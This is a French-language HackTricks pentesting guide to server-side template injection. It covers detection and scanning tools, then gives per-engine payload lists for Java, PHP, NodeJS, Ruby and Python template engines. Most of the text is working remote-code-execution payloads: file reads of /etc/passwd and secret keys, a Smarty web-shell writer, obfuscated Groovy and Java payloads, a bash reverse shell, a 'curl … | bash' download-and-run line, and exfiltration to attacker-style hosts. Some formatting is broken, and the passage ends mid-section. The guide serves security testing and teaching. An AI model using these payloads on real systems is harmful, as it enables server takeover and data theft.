hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

48 KiB
Raw Blame History

SSTI (Injection de modèle côté serveur)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.

{% embed url="https://www.rootedcon.com/" %}

Qu'est-ce que l'injection de modèle côté serveur?

Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe de modèle native pour injecter une charge malveillante dans un modèle, qui est ensuite exécuté côté serveur.

Les moteurs de modèles sont conçus pour générer des pages web en combinant des modèles fixes avec des données volatiles. Les attaques par injection de modèle côté serveur peuvent se produire lorsque l'entrée utilisateur est concaténée directement dans un modèle, plutôt que transmise en tant que données. Cela permet aux attaquants d'injecter des directives de modèle arbitraires afin de manipuler le moteur de modèle, leur permettant souvent de prendre le contrôle complet du serveur.

Un exemple de code vulnérable est le suivant:

$output = $twig->render("Dear " . $_GET['name']);

Dans l'exemple précédent une partie du modèle est générée de manière dynamique en utilisant le paramètre GET name. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant d'insérer une charge utile d'injection de modèle côté serveur dans le paramètre name comme suit :

http://vulnerable-website.com/?name={{bad-stuff-here}}

Construction d'une attaque d'injection de modèle côté serveur

Détecter

Comme pour toute vulnérabilité, la première étape vers l'exploitation est de pouvoir la trouver. Peut-être l'approche initiale la plus simple est d'essayer de fuzzer le modèle en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte ${{<%[%'"}}%\.
Pour vérifier si le serveur est vulnérable, vous devriez repérer les différences entre la réponse avec des données régulières sur le paramètre et la charge utile donnée.
Si une erreur est renvoyée, il sera assez facile de comprendre que le serveur est vulnérable et même quel moteur est en cours d'exécution. Mais vous pourriez également trouver un serveur vulnérable si vous vous y attendiez à ce qu'il reflète la charge utile donnée et qu'il ne le fait pas ou s'il y a des caractères manquants dans la réponse.

Détecter - Contexte en texte brut

L'entrée donnée est rendue et reflétée dans la réponse. Cela peut facilement être confondu avec une vulnérabilité XSS simple, mais il est facile de différencier si vous essayez de définir des opérations mathématiques dans une expression de modèle:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Détecter - Contexte du code

Dans ces cas, l'entrée de l'utilisateur est placée à l'intérieur d'une expression de modèle :

engine.render("Hello {{"+greeting+"}}", data)

L'URL d'accès à cette page pourrait être similaire à : http://vulnerable-website.com/?greeting=data.username

Si vous modifiez le paramètre greeting pour une valeur différente, la réponse ne contiendra pas le nom d'utilisateur, mais si vous accédez à quelque chose comme : http://vulnerable-website.com/?greeting=data.username}}hello, alors la réponse contiendra le nom d'utilisateur (si les caractères d'expression de modèle de fermeture étaient }}).
Si une erreur se produit pendant ces tests, il sera plus facile de déterminer que le serveur est vulnérable.

Identifier

Une fois que vous avez détecté le potentiel d'injection de modèle, la prochaine étape consiste à identifier le moteur de modèle.
Bien qu'il existe un grand nombre de langages de modélisation, beaucoup d'entre eux utilisent une syntaxe très similaire spécialement choisie pour ne pas entrer en conflit avec les caractères HTML.

Si vous avez de la chance, le serveur affichera les erreurs et vous pourrez trouver le moteur utilisé à l'intérieur des erreurs. Voici quelques charges utiles possibles qui peuvent provoquer des erreurs :

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

Sinon, vous devrez tester manuellement différentes charges utiles spécifiques à chaque langage et étudier comment elles sont interprétées par le moteur de modèle. Une méthode courante pour ce faire est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de modèle. Vous pouvez ensuite observer s'ils sont évalués avec succès. Pour vous aider dans ce processus, vous pouvez utiliser un arbre de décision similaire au suivant :

Exploiter

Lire

La première étape après avoir trouvé une injection de modèle et identifié le moteur de modèle est de lire la documentation. Les domaines clés d'intérêt sont :

  • Les sections 'Pour les auteurs de modèles' couvrant la syntaxe de base.
  • 'Considérations de sécurité' - il est probable que la personne ayant développé l'application que vous testez n'a pas lu ceci, et cela peut contenir des indices utiles.
  • Listes des méthodes, fonctions, filtres et variables intégrés.
  • Listes des extensions/plugins - certains peuvent être activés par défaut.

Explorer

En supposant qu'aucune faille n'ait été présentée, la prochaine étape est d'explorer l'environnement pour découvrir exactement à quoi vous avez accès. Vous pouvez vous attendre à trouver à la fois des objets par défaut fournis par le moteur de modèle, et des objets spécifiques à l'application transmis au modèle par le développeur. De nombreux systèmes de modèles exposent un objet 'self' ou un objet d'espace de noms contenant tout ce qui est en cours, et une manière idiomatique de lister les attributs et méthodes d'un objet.

S'il n'y a pas d'objet self intégré, vous devrez deviner les noms de variables en utilisant SecLists et la collection de listes de mots de Burp Intruder.

Les objets fournis par le développeur sont particulièrement susceptibles de contenir des informations sensibles, et peuvent varier entre différents modèles au sein d'une application, donc ce processus devrait idéalement être appliqué à chaque modèle distinct individuellement.

Attaquer

À ce stade, vous devriez avoir une idée précise de la surface d'attaque à votre disposition et être en mesure de procéder avec des techniques d'audit de sécurité traditionnelles, en passant en revue chaque fonction pour des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de modèle pour déclencher la création arbitraire d'objets, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers à distance, la divulgation d'informations et les vulnérabilités d'escalade de privilèges.

Outils

TInjA

un scanner efficace de SSTI + CSTI qui utilise des polyglottes novateurs

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Tableau d'injection de modèle

un tableau interactif contenant les polyglottes d'injection de modèle les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèle les plus importants.

Exploits

Générique

Dans cette liste de mots, vous pouvez trouver les variables définies dans les environnements de certains des moteurs mentionnés ci-dessous :

Java

Java - Injection de base

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Récupérer les variables d'environnement du système

${T(java.lang.System).getenv()}

Java - Récupérer /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Vous pouvez essayer vos charges utiles sur https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Rien
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Contournement du bac à sable

⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Plus d'informations

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Plus d'informations

Thymeleaf (Java)

L'expression de test typique pour SSTI est ${7*7}. Cette expression fonctionne également dans Thymeleaf. Si vous souhaitez obtenir une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :

  • SpringEL : ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL : ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Cependant, comme mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. S'il est nécessaire d'utiliser une expression à un emplacement différent dans le modèle, Thymeleaf prend en charge l'insertion d'expression. Pour utiliser cette fonctionnalité, vous devez placer une expression entre [[...]] ou [(...)] (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, une charge utile de détection SSTI simple pour Thymeleaf serait [[${7*7}]].

Cependant, il est peu probable que la charge utile de détection ci-dessus fonctionne. Les vulnérabilités SSTI se produisent généralement lorsqu'un modèle est généré dynamiquement dans le code. Thymeleaf, par défaut, ne permet pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne sur le vif, il devrait créer son propre TemplateResolver. C'est possible mais cela se produit très rarement.

Si nous examinons de plus près la documentation du moteur de modèle Thymeleaf, nous trouverons une fonctionnalité intéressante appelée prétraitement des expressions. Les expressions placées entre deux tirets bas (__...__) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression lors du traitement régulier. Voici un exemple officiel de la documentation de Thymeleaf :

#{selection.__${sel.code}__}

Exemple vulnérable

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Plus d'informations

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Cadre Spring (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Contourner les filtres

Plusieurs expressions de variables peuvent être utilisées, si ${...} ne fonctionne pas, essayez #{...}, *{...}, @{...} ou ~{...}.

  • Lire /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personnalisé pour la génération de payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Plus d'informations

Manipulation de la vue Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ancienne version de Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nouvelle version de Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé pour traiter les modèles et peut être vulnérable aux attaques SSTI si des entrées utilisateur non filtrées sont incluses dans les modèles. Assurez-vous de valider et de filtrer toutes les entrées utilisateur pour éviter les attaques SSTI.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - Exécution de commandes

Corrigé par https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Plus d'informations

Hubspot - HuBL (Java)

  • Délimiteurs d'instructions {% %}
  • Délimiteurs d'expressions {{ }}
  • Délimiteurs de commentaires {# #}
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Recherche de "com.hubspot.content.hubl.context.TemplateContextRequest" et découverte du projet Jinjava sur Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Plus d'informations

Langage d'Expression - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique de l'application (beans gérés). L'EL est utilisé par plusieurs technologies JavaEE, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'Injection de Contextes et Dépendances pour Java EE (CDI).
Consultez la page suivante pour en savoir plus sur l'exploitation des interpréteurs EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Les contournements du gestionnaire de sécurité suivants ont été tirés de ce article.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Plus d'informations

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format de modèle

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Plus d'informations

Plates (PHP)

Plates est inspiré par Twig mais c'est un moteur de template PHP natif au lieu d'un moteur de template compilé.

controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

modèle de page :

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

modèle de mise en page :

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib et HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB est identique à PHPlib mais porté sur Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Plus d'informations

patTemplate (PHP)

patTemplate moteur de modèle PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Traversée de chemin (plus d'informations ici).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Erreur
  • ${7*7} = ${7*7}
  • Rien
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Plus d'informations

JsRender (NodeJS)

Modèle Description
Évaluer et afficher la sortie
Évaluer et afficher la sortie encodée en HTML
Commentaire
et Autoriser le code (désactivé par défaut)
  • = 49

Côté client

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Côté Serveur

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Plus d'informations

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Exemple de rendu côté serveur

var pugjs = require('pug');
home = pugjs.render(injected_page)

Plus d'informations

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Aucune sortie
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Erreur
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Plus d'informations

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Erreur
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Plus d'informations

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Plus d'informations

Python

Consultez la page suivante pour apprendre des astuces sur la contournement de l'exécution de commandes arbitraires en contournant les sandbox en python :

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Plus d'informations

Jinja2 (Python)

Site officiel

Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandbox intégré en option, est largement utilisé et sous licence BSD.

  • {{7*7}} = Erreur
  • ${7*7} = ${7*7}
  • {{foobar}} Rien
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format de modèle

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE non dépendant de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
